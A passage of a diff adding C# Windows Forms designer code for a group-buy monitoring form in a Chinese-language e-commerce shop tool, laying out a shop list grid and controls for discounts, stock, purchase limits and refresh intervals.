this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1246, 552); + this.splitContainer1.SplitterDistance = 150; + this.splitContainer1.TabIndex = 8; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.panelEx2); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.numericUpDown2); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.numericUpDown1); + this.ucGroupBoxEx2.Controls.Add(this.checkBox1); + this.ucGroupBoxEx2.Controls.Add(this.cmbSkuOptionType); + this.ucGroupBoxEx2.Controls.Add(this.lblPercentSign); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.nudEachActivityProductNum); + this.ucGroupBoxEx2.Controls.Add(this.label8); + this.ucGroupBoxEx2.Controls.Add(this.nudStockValue); + this.ucGroupBoxEx2.Controls.Add(this.cmbDiscountType); + this.ucGroupBoxEx2.Controls.Add(this.cmbStockType); + this.ucGroupBoxEx2.Controls.Add(this.label5); + this.ucGroupBoxEx2.Controls.Add(this.cmbLimitCount); + this.ucGroupBoxEx2.Controls.Add(this.label7); + this.ucGroupBoxEx2.Controls.Add(this.nudDiscountValue); + this.ucGroupBoxEx2.Controls.Add(this.label17); + this.ucGroupBoxEx2.Controls.Add(this.nudGroupCount); + this.ucGroupBoxEx2.Controls.Add(this.label11); + this.ucGroupBoxEx2.Controls.Add(this.btnSetActivity); + this.ucGroupBoxEx2.Controls.Add(this.btnStopOperate); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(1097, 150); + this.ucGroupBoxEx2.TabIndex = 469; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "商品操作"; + // + // panelEx2 + // + this.panelEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx2.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Location = new System.Drawing.Point(153, 56); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(84, 23); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.panelEx2.TabIndex = 602; + this.panelEx2.Text = "获取运费模板"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(118, 59); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(20, 17); + this.label2.TabIndex = 598; + this.label2.Text = "秒"; + // + // numericUpDown2 + // + this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown2.Location = new System.Drawing.Point(72, 56); + this.numericUpDown2.Maximum = new decimal(new int[] { + 10000, + 0, + 0, + 0}); + this.numericUpDown2.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(46, 23); + this.numericUpDown2.TabIndex = 597; + this.numericUpDown2.Value = new decimal(new int[] { + 5, + 0, + 0, + 0}); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(16, 59); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 596; + this.label1.Text = "刷新间隔"; + // + // numericUpDown1 + // + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.Location = new System.Drawing.Point(241, 27); + this.numericUpDown1.Maximum = new decimal(new int[] { + 10000, + 0, + 0, + 0}); + this.numericUpDown1.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(46, 23); + this.numericUpDown1.TabIndex = 595; + this.numericUpDown1.Value = new decimal(new int[] { + 5, + 0, + 0, + 0}); + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox1.Location = new System.Drawing.Point(153, 28); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(90, 21); + this.checkBox1.TabIndex = 594; + this.checkBox1.Text = "支付订单>="; + this.checkBox1.UseVisualStyleBackColor = true; + // + // cmbSkuOptionType + // + this.cmbSkuOptionType.DisplayMember = "Text"; + this.cmbSkuOptionType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSkuOptionType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbSkuOptionType.FormattingEnabled = true; + this.cmbSkuOptionType.ItemHeight = 18; + this.cmbSkuOptionType.Items.AddRange(new object[] { + this.第一个, + this.最后一个, + this.最便宜, + this.最贵, + this.不设置最便宜, + this.不设置最贵}); + this.cmbSkuOptionType.Location = new System.Drawing.Point(241, 56); + this.cmbSkuOptionType.Name = "cmbSkuOptionType"; + this.cmbSkuOptionType.Size = new System.Drawing.Size(135, 24); + this.cmbSkuOptionType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbSkuOptionType.TabIndex = 587; + // + // 第一个 + // + this.第一个.Text = "第一个"; + // + // 最后一个 + // + this.最后一个.Text = "最后一个"; + // + // 最便宜 + // + this.最便宜.Text = "最便宜"; + // + // 最贵 + // + this.最贵.Text = "最贵"; + // + // 不设置最便宜 + // + this.不设置最便宜.Text = "不设置最便宜"; + // + // 不设置最贵 + // + this.不设置最贵.Text = "不设置最贵"; + // + // lblPercentSign + // + this.lblPercentSign.AutoSize = true; + this.lblPercentSign.Location = new System.Drawing.Point(826, 120); + this.lblPercentSign.Name = "lblPercentSign"; + this.lblPercentSign.Size = new System.Drawing.Size(19, 17); + this.lblPercentSign.TabIndex = 577; + this.lblPercentSign.Text = "%"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(972, 120); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(44, 17); + this.label9.TabIndex = 569; + this.label9.Text = "个商品"; + // + // nudEachActivityProductNum + // + this.nudEachActivityProductNum.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudEachActivityProductNum.Location = new System.Drawing.Point(913, 117); + this.nudEachActivityProductNum.Maximum = new decimal(new int[] { + 20, + 0, + 0, + 0}); + this.nudEachActivityProductNum.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudEachActivityProductNum.Name = "nudEachActivityProductNum"; + this.nudEachActivityProductNum.Size = new System.Drawing.Size(56, 23); + this.nudEachActivityProductNum.TabIndex = 568; + this.nudEachActivityProductNum.Value = new decimal(new int[] { + 10, + 0, + 0, + 0}); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(854, 120); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(56, 17); + this.label8.TabIndex = 567; + this.label8.Text = "一个活动"; + // + // nudStockValue + // + this.nudStockValue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudStockValue.Location = new System.Drawing.Point(776, 117); + this.nudStockValue.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudStockValue.Name = "nudStockValue"; + this.nudStockValue.Size = new System.Drawing.Size(48, 23); + this.nudStockValue.TabIndex = 566; + this.nudStockValue.Value = new decimal(new int[] { + 50, + 0, + 0, + 0}); + // + // cmbDiscountType + // + this.cmbDiscountType.DisplayMember = "Text"; + this.cmbDiscountType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbDiscountType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbDiscountType.FormattingEnabled = true; + this.cmbDiscountType.ItemHeight = 18; + this.cmbDiscountType.Items.AddRange(new object[] { + this.打折, + this.直降, + this.一口价}); + this.cmbDiscountType.Location = new System.Drawing.Point(686, 85); + this.cmbDiscountType.Name = "cmbDiscountType"; + this.cmbDiscountType.Size = new System.Drawing.Size(84, 24); + this.cmbDiscountType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbDiscountType.TabIndex = 565; + // + // 打折 + // + this.打折.Text = "打折"; + // + // 直降 + // + this.直降.Text = "直降"; + // + // 一口价 + // + this.一口价.Text = "一口价"; + // + // cmbStockType + // + this.cmbStockType.DisplayMember = "Text"; + this.cmbStockType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbStockType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbStockType.FormattingEnabled = true; + this.cmbStockType.ItemHeight = 18; + this.cmbStockType.Items.AddRange(new object[] { + this.全部库存, + this.百分比库存, + this.统一库存}); + this.cmbStockType.Location = new System.Drawing.Point(686, 116); + this.cmbStockType.Name = "cmbStockType"; + this.cmbStockType.Size = new System.Drawing.Size(84, 24); + this.cmbStockType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbStockType.TabIndex = 564; + // + // 全部库存 + // + this.全部库存.Text = "全部库存"; + // + // 百分比库存 + // + this.百分比库存.Text = "百分比库存"; + // + // 统一库存 + // + this.统一库存.Text = "统一库存"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(627, 120); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 563; + this.label5.Text = "活动库存"; + // + // cmbLimitCount + // + this.cmbLimitCount.DisplayMember = "Text"; + this.cmbLimitCount.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbLimitCount.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbLimitCount.FormattingEnabled = true; + this.cmbLimitCount.ItemHeight = 18; + this.cmbLimitCount.Items.AddRange(new object[] { + this.不限购}); + this.cmbLimitCount.Location = new System.Drawing.Point(889, 85); + this.cmbLimitCount.Name = "cmbLimitCount"; + this.cmbLimitCount.Size = new System.Drawing.Size(123, 24); + this.cmbLimitCount.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbLimitCount.TabIndex = 556; + // + // 不限购 + // + this.不限购.Text = "不限购"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(854, 89); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(32, 17); + this.label7.TabIndex = 555; + this.label7.Text = "限购"; + // + // nudDiscountValue + // + this.nudDiscountValue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudDiscountValue.DecimalPlaces = 1; + this.nudDiscountValue.Increment = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudDiscountValue.Location = new System.Drawing.Point(776, 86); + this.nudDiscountValue.Maximum = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + this.nudDiscountValue.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudDiscountValue.Name = "nudDiscountValue"; + this.nudDiscountValue.Size = new System.Drawing.Size(65, 23); + this.nudDiscountValue.TabIndex = 554; + this.nudDiscountValue.Value = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(627, 89); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(56, 17); + this.label17.TabIndex = 542; + this.label17.Text = "优惠方式"; + // + // nudGroupCount + // + this.nudGroupCount.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudGroupCount.Location = new System.Drawing.Point(72, 27); + this.nudGroupCount.Maximum = new decimal(new int[] { + 10000, + 0, + 0, + 0}); + this.nudGroupCount.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudGroupCount.Name = "nudGroupCount"; + this.nudGroupCount.Size = new System.Drawing.Size(46, 23); + this.nudGroupCount.TabIndex = 533; + this.nudGroupCount.Value = new decimal(new int[] { + 20, + 0, + 0, + 0}); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(18, 30); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(54, 17); + this.label11.TabIndex = 525; + this.label11.Text = "数量 <="; + // + // btnSetActivity + // + this.btnSetActivity.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSetActivity.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetActivity.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetActivity.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetActivity.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetActivity.Location = new System.Drawing.Point(1007, 22); + this.btnSetActivity.Name = "btnSetActivity"; + this.btnSetActivity.Size = new System.Drawing.Size(80, 23); + this.btnSetActivity.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetActivity.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetActivity.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetActivity.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetActivity.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetActivity.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetActivity.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetActivity.Style.GradientAngle = 90; + this.btnSetActivity.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetActivity.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetActivity.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetActivity.TabIndex = 427; + this.btnSetActivity.Text = "设置拼团"; + this.btnSetActivity.Click += new System.EventHandler(this.btnSetActivity_Click); + // + // btnStopOperate + // + this.btnStopOperate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopOperate.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopOperate.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopOperate.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopOperate.Location = new System.Drawing.Point(1007, 52); + this.btnStopOperate.Name = "btnStopOperate"; + this.btnStopOperate.Size = new System.Drawing.Size(80, 23); + this.btnStopOperate.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopOperate.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopOperate.Style.GradientAngle = 90; + this.btnStopOperate.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopOperate.TabIndex = 405; + this.btnStopOperate.Text = "停止设置"; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 150); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1246, 398); + this.splitContainer3.SplitterDistance = 368; + this.splitContainer3.TabIndex = 1; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1246, 26); + this.splitContainer4.SplitterDistance = 1131; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1131, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1246, 368); + this.splitContainer2.SplitterDistance = 270; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(266, 368); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "选择"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // GroupBuyMonitorForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1246, 552); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "GroupBuyMonitorForm"; + this.Text = "GroupBuyMonitorForm"; + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + 